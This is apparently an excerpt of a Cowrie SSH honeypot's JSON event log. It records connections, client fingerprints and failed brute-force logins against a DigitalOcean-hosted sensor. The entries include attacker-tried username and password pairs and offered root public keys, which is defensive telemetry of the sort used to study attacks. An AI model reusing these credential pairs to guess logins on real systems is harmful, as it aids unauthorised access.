{"eventid":"cowrie.login.failed","username":"root","password":"ritmo","message":"login attempt [root/ritmo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:41.778180Z","src_ip":"95.58.255.251","session":"7d5e31aa8c00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:42.946518Z","src_ip":"95.58.255.251","session":"7d5e31aa8c00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":51858,"dst_ip":"159.203.135.109","dst_port":22,"session":"78279f31f4d8","protocol":"ssh","message":"New connection: 138.99.80.102:51858 (159.203.135.109:22) [session: 78279f31f4d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:55.872651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:55.877348Z","src_ip":"138.99.80.102","session":"78279f31f4d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:55.984310Z","src_ip":"138.99.80.102","session":"78279f31f4d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:56.440969Z","src_ip":"138.99.80.102","session":"78279f31f4d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:54:57.550316Z","src_ip":"138.99.80.102","session":"78279f31f4d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":54938,"dst_ip":"159.203.135.109","dst_port":22,"session":"92f8aa72951e","protocol":"ssh","message":"New connection: 36.95.194.51:54938 (159.203.135.109:22) [session: 92f8aa72951e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:03.888483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:03.893721Z","src_ip":"36.95.194.51","session":"92f8aa72951e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:04.182302Z","src_ip":"36.95.194.51","session":"92f8aa72951e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:05.367733Z","src_ip":"36.95.194.51","session":"92f8aa72951e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:06.666362Z","src_ip":"36.95.194.51","session":"92f8aa72951e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":45488,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d231c68b74d","protocol":"ssh","message":"New connection: 144.91.86.102:45488 (10.17.0.5:22) [session: 5d231c68b74d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:12.180414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:12.186157Z","src_ip":"144.91.86.102","session":"5d231c68b74d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:12.278807Z","src_ip":"144.91.86.102","session":"5d231c68b74d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:12.683811Z","src_ip":"144.91.86.102","session":"5d231c68b74d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:13.779791Z","src_ip":"144.91.86.102","session":"5d231c68b74d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":32892,"dst_ip":"10.17.0.5","dst_port":22,"session":"86c4df82afd1","protocol":"ssh","message":"New connection: 43.162.109.147:32892 (10.17.0.5:22) [session: 86c4df82afd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:15.858794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:15.867809Z","src_ip":"43.162.109.147","session":"86c4df82afd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:15.943582Z","src_ip":"43.162.109.147","session":"86c4df82afd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:16.248908Z","src_ip":"43.162.109.147","session":"86c4df82afd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:17.325215Z","src_ip":"43.162.109.147","session":"86c4df82afd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":37520,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0f56c5c470b","protocol":"ssh","message":"New connection: 192.169.243.246:37520 (159.203.135.109:22) [session: f0f56c5c470b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:39.833575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:39.840426Z","src_ip":"192.169.243.246","session":"f0f56c5c470b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:39.912531Z","src_ip":"192.169.243.246","session":"f0f56c5c470b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:40.231136Z","src_ip":"192.169.243.246","session":"f0f56c5c470b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:41.309549Z","src_ip":"192.169.243.246","session":"f0f56c5c470b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":50892,"dst_ip":"10.17.0.5","dst_port":22,"session":"51650224acde","protocol":"ssh","message":"New connection: 95.58.255.251:50892 (10.17.0.5:22) [session: 51650224acde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:58.442484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:58.448437Z","src_ip":"95.58.255.251","session":"51650224acde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:58.614127Z","src_ip":"95.58.255.251","session":"51650224acde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"com","message":"login attempt [root/com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:55:59.307837Z","src_ip":"95.58.255.251","session":"51650224acde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:00.477257Z","src_ip":"95.58.255.251","session":"51650224acde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.136.42","src_port":48536,"dst_ip":"10.17.0.5","dst_port":22,"session":"61855d151250","protocol":"ssh","message":"New connection: 170.238.136.42:48536 (10.17.0.5:22) [session: 61855d151250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:14.491780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:14.496929Z","src_ip":"170.238.136.42","session":"61855d151250","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:14.610521Z","src_ip":"170.238.136.42","session":"61855d151250","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:b6:0e:53:d8:cb:e3:6e:fd:b8:d7:de:4e:f5:2f:da","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJUYMhLq2QEZMGuIYQ7ZMfgASrLXkY0EnZQrD+0xYsGERJD3nQ9gdDZSajniCiaxE7JG45eM0dJOcl6I0b1dnwylHYdqG889xsJjpMERl+Pg1xhoHb55Qs2OHnM6ncO5k9ztUsY2khMFbcvQjbfSnXnhbobWCAlHeOxM6DWpcLlfAAAAFQCEUUbj0/GWvlkpAJtIrHgl3CkKQwAAAIAvgEXEIoYXRn0cPOkkhGq92exI6NNaVgmGqEB3xuA3xsZzNrEpojI6vbFQUZNUz+aTCboquz2XBOYRmP0E1Z5MuCy/0XTO3vnU4KiRzP4uowXHJFQGDC/E8MkkkQVXfiG87vbje8bhHrHc5mufe957uDqbZySIN8khDivrDiPw/AAAAIBfRaKEzT8vRRh9Pf3rgCwFlY3eL0vfp6bMka1fV4b9JNgcKC3B8LS5bEP5ibO0gf2OM7YVzxNGmBiJI9PZyQNblq/456T4o2m2SrM2wUQ17wEWKXW+qyshpinmvapmMeI0yRiB/Er2oxUBcKpndKUsF48d7D0knJMdaK11F2aIQg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint fa:b6:0e:53:d8:cb:e3:6e:fd:b8:d7:de:4e:f5:2f:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:15.153847Z","src_ip":"170.238.136.42","session":"61855d151250","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:b6:0e:53:d8:cb:e3:6e:fd:b8:d7:de:4e:f5:2f:da","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJUYMhLq2QEZMGuIYQ7ZMfgASrLXkY0EnZQrD+0xYsGERJD3nQ9gdDZSajniCiaxE7JG45eM0dJOcl6I0b1dnwylHYdqG889xsJjpMERl+Pg1xhoHb55Qs2OHnM6ncO5k9ztUsY2khMFbcvQjbfSnXnhbobWCAlHeOxM6DWpcLlfAAAAFQCEUUbj0/GWvlkpAJtIrHgl3CkKQwAAAIAvgEXEIoYXRn0cPOkkhGq92exI6NNaVgmGqEB3xuA3xsZzNrEpojI6vbFQUZNUz+aTCboquz2XBOYRmP0E1Z5MuCy/0XTO3vnU4KiRzP4uowXHJFQGDC/E8MkkkQVXfiG87vbje8bhHrHc5mufe957uDqbZySIN8khDivrDiPw/AAAAIBfRaKEzT8vRRh9Pf3rgCwFlY3eL0vfp6bMka1fV4b9JNgcKC3B8LS5bEP5ibO0gf2OM7YVzxNGmBiJI9PZyQNblq/456T4o2m2SrM2wUQ17wEWKXW+qyshpinmvapmMeI0yRiB/Er2oxUBcKpndKUsF48d7D0knJMdaK11F2aIQg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:15.160974Z","src_ip":"170.238.136.42","session":"61855d151250","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:7c:25:92:2f:a5:b8:db:d8:be:a5:e7:8c:a4:63:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDB05Nd7dH0clogz33EQ3kQSFBX18pJtm64lu971+6uR49CC5lLm757ZQT6K7XYYl0SwAn8T1lhXAaIz4yRo7l3zgHiHzWQbaFO/mBlKVchmGEsoM5XOWgm8BBLOP04gE/MBlyNzfV1Wi8UVxgHf7zl7JhoXBxYRqZY7ZbpOPHj+MzOCdeiuXxg6hUs7TAW+2F/eFSdEwjON2KV1V1wLVBG2ah0IiBDfDaFBfzHZxvW4aSRPtWFuhd73r4wn28C4PONuCrkhXu1SzHcUWd1aK7TiPNY9JcCERRgCn6AQbBY1baOHRaIWpnBen6TujF0J+GyFH8HLHo4LyTmV+hhij4Rsz76i32D9ueZHQPXp2Tye6RPzNBEecag8U5dA3eulrG9fror4kQoHF/cGi14mIoB2YGstYCTLGfF5jiekKgGQzv/3znsNs5B995FwE7TW+AkjedlHw4ubEyaggjZ/0IcPXZk60XpuGnFzCmRwloTxwCf8aaOdywvWEIO3R4znYLZu5zm0eB+Nxvnz1q0ChaD/a1d3N5OW8lJ56WDzcaa82S5KnX4YHXkxxfpueLdSb+JcamNboypv0o7M7nu4wUjQOAvSk7m9FL5c0gGGDVapnfewn8Cwc2m4VKG1pek/X39XeWC4QP5BTuUlUiObamGI1roNjx+jMgiqPHkEw3r1Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:7c:25:92:2f:a5:b8:db:d8:be:a5:e7:8c:a4:63:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:15.277501Z","src_ip":"170.238.136.42","session":"61855d151250","protocol":"ssh"}
